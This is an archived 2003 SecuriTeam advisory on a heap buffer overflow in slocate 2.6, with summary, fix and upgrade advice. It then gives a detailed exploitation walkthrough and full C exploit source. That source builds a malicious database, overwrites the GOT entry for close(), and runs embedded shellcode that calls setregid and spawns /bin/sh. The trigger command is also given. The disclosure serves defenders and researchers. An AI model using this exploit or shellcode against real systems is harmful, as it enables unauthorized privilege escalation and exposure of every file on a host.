[UNIX] slocate Buffer Overflow (-i, -d, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/13/03

  • Next message: SecuriTeam: "[UNIX] Gallery Include() File Vulnerability"
    To: list@securiteam.com
    Date: 13 Oct 2003 20:05:44 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      slocate Buffer Overflow (-i, -d, Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    Mr. Hornik has discovered buffer overflow vulnerability in slocate version
    2.6. Many Linux distributions have their slocate package based on this
    version. Patrik found at least RedHat package to be vulnerable. The
    vulnerability corrupts heap management structures and possibly leads to
    gaining slocate group privileges, which allows reading global slocate
    database and thus obtaining list of all files in the system by
    unauthorized user.

    DETAILS

    Vulnerable systems:
     * slocate version 2.6

    Program slocate works on user supplied database with setgid to slocate
    group. With user prepared slocate database one can cause (Patrik is
    referring to source lines from slocate-2.6-1.src.rpm from RH 7.3) that
    pathlen after executing main.c:1255 will have value -1. It must be caused
    by not the first path in the database because it is verified in
    validate_db. Then on line main.c:1275 the last byte of memory block header
    (this memory block size) will be overwritten with user supplied value. The
    codedpath is never freed by the code, but it is possible to trigger
    realloc on line 1269 later by data in database.

    Because of not freeing some dynamic memory, using multiple databases and
    multiple search patterns it should be possible to prepare heap before
    triggering this vulnerability to allow later execution of arbitrary code,
    thus gaining slocate group privileges. This allows reading of global
    slocate database with list of all files in the system by unauthorized
    user. The exploit is not available at this time.

    Suggested and correct patch is to change condition on line 1263 to pathlen
    <= 0.

    Who is affected?
    Affected are all RedHat distributions up to version 9.0 including.

    slocate version 2.6 and below is vulnerable. slocate version 2.7 and all
    packages based on this version are not vulnerable.

    Recommendations
    Patrik recommends to upgrade slocate package to the fixed version.

    If obtaining the list of all files on the system by unauthorized user is
    security risk for your system Patrik recommends to remove slocate database
    and disable automatic generation of this database (as daily cron job) or
    remove slocate utility or generate database only from safe files until
    fixed version is installed.

    Exploitation:
    The exploitation which allows overwriting memory management data of the
    heap was described in original advisory. Patrik is referring to source
    lines from slocate-2.6-1.src.rpm from RH 7.3 here too. The attached source
    code constants are for RH 7.3 on i686 on 2003/10/10, except that some
    parts of them are * here.

    The main idea behind the exploitation is not straightforward, so I
    describe it below. The attached source code prepares test.db with
    following properties. It exploits the bug by:
    slocate -i -d test.db `perl -e 'print "B"x1024'`

    1) We overwrite one byte of the buffer management headers the overflow
    allows to overwrite - it is highest byte of size of memory block of
    codedpath. We will trigger realloc on main.c:1269 later.

    2) We are playing here with codedpath, casestr and bucket_of_holding. They
    are allocated in this order. When casestr is big enough, it is placed on
    the heap after codedpath. By big enough database bucket_of_holding is
    reallocated to 0x4002**** region later.

    3) We need to prepare the area where the codedpath ends according to
    overwriten block size so chunk_free called from chunk_realloc will not
    fail because of accessing inaccessible memory or finding bad values there.
    Only the highest byte of memory block size can be changed, so the size
    change will be multiply of 0x1000000. The needed data (two small blocks
    just after overwritten codepath, first memory block marked as used) are
    placed on 0x400***** by having them on appropriate position in database.
    The change in size is 0x38 * 0x1000000.

    4) We trigger realloc on main.c:1269, so overwritten block size value is
    used. We trigger realloc by prepare path which is longer than initial size
    (4096 bytes). We are reallocating to size that is smaller than the
    overwritten size and big enough to end after casestr ends.

    5) Then we can overwrite casestr and memory after it by writing to
    codedpath because memory management thinks codedpath is so long. We will
    overwrite the size of memory block of casestr to 0x508 (from 0x408). Later
    free(casestr) is called and it seems it is top in its memory area so free
    behaves differently than we want. We change it so comparison of address of
    next block with top simply fails.

    6) We place fake memory blocks after casestr such that free(casestr)
    overwrites address of close() in GOT to point to our arbitrary code (by
    setting fake backward and forward pointers in next (free) block after
    casestr). On main.c:1357 close(fd) is called and our code gets the
    control. We setregid(slocate,slocate) and run the shell. That is it.

    Exploit:
    The exploit code be downloaded from:
    <http://www.ebitech.sk/patrik/SA/SA-20031006-A.txt>
    http://www.ebitech.sk/patrik/SA/SA-20031006-A.txt.

    #include <stdio.h>

    #define CODEDPATH 0x0805**20
    #define DATABASE 0x4002**08
    #define JUMP_BY 0x38
    #define GOT_CLOSE "\x5c\x**\x04\x08"

    #define CODED_LENGTH 0x1008
    #define PATTERN_LENGTH 0x508

    #define STEP_LENGTH 0x1000000

    int path_len = 0;
    int file_pos = 0;

    FILE *f;

    void write_buffer(int move,char *buffer,int len,int stop)
    {
      char b[3];
      
      if (move > 127 || move < -127)
      {
        b[0] = -128;
        b[1] = (char)(move >> 8);
        b[2] = (char)(move % 256);
        fwrite(b,1,3,f);
        file_pos += 3;
      }
      else
      {
        b[0] = (char)move;
        fwrite(b,1,1,f);
        file_pos += 1;
      }
          
      if (stop)
        buffer[len] = 0;
        
      fwrite(buffer,1,len + 1,f);
      file_pos += len + 1;
      path_len += move;
    }

    void skip_to_filepos(int move,int pos)
    {
      char b[1024];
      
      while (pos > file_pos + 1002)
      {
        memset(b,'A',998);
        write_buffer(move,b,998,1);
      }

      write_buffer(move,b,pos - file_pos - 2,1);
    }

    void write_to_addr(int address,char *str)
    {
      write_buffer((address - CODEDPATH) - path_len,str,strlen(str),0);
    }

    void write_int(char *buffer,int n)
    {
      int i;
      
      for (i=0;i<4;i++)
      {
        buffer[i] = (char)(n % 256);
        n >>= 8;
        
        if (buffer[i] == 0)
        {
          printf("Warning, zero byte!\n");
          exit(-1);
        }
      }
    }
      
    int main(int argc,char **argv)
    {
      char b[32768];
      int i;

      f = fopen("test.db","w");
      
      b[0] = '0';
      fwrite(b,1,1,f);

      write_buffer(0,b,0,1);
      
      skip_to_filepos(0,CODEDPATH - 8 + CODED_LENGTH + JUMP_BY * STEP_LENGTH -
    DATABASE);

      
      memset(b,0,8);
      b[4] = 17;
      memset(b + 8,0,8);
      fwrite(b,1,16,f);
      fwrite(b,1,16,f);
      file_pos += 32;
      path_len += 34;

      skip_to_filepos(0,file_pos + 1000000);

      b[0] = JUMP_BY;
      b[1] = 'A';
      write_buffer(-path_len - 1,b,2,1);

      memset(b,'A',2);
      write_buffer(16384,b,2,1);

      write_to_addr(CODEDPATH + CODED_LENGTH - 3,"\x05");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 1,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 2,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 3,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 4,"\x11");

      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 6,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH - 8 + 7,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH,GOT_CLOSE);
      
      write_int(b,CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16);
      b[4] = 0;
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 4,b);
      
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 8,"\x10");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 10,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 11,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 12,"\x10");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 14,"");
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 15,"");
      
      write_to_addr(CODEDPATH + CODED_LENGTH + PATTERN_LENGTH + 16,
       
    "\x31\xc0\x31\xdb\xb3\x15\xeb\x23\x90\x90\x90\x90\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x89\xd9\xb0\x47\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh");
        
      fclose(f);
    }

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
    <http://www.ebitech.sk/patrik/SA/SA-20031006.txt>
    http://www.ebitech.sk/patrik/SA/SA-20031006.txt.

    The information has been provided by <mailto:patrik.hornik@ebitech.sk>
    Patrik Hornik.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Gallery Include() File Vulnerability"

    Relevant Pages

    • Re: Slocate - what is happening?
      ... > Still fantastic but I have a weird problem with slocate that was not ther ... When I go to create the database with updatedb the system ... I suspect that the answer is simpler than reinstalling and wonder ...
      (alt.os.linux.redhat)
    • Re: using find command to search in current directory only
      ... look at how GNU locate (not slocate) works. ... >> updatedb as, same for the solution given above. ... permissions to the database, or regular users couldn't access it. ... My code in this post is copyright 2004, Chris F.A. Johnson and may be copied under the terms of the GNU General Public License ...
      (comp.unix.shell)
    • SA-20031006 slocate vulnerability
      ... Mr. Hornik has discovered buffer overflow vulnerability in slocate ... Program slocate works on user supplied database with setgid to slocate ... This security advisory: ...
      (Bugtraq)
    • Re: SuSE 10 and locate command
      ... > This will build your database, ... > at night to update thd database every so often. ... > been added by slocate -a. ... You are about to enter another dimension, ...
      (alt.os.linux.suse)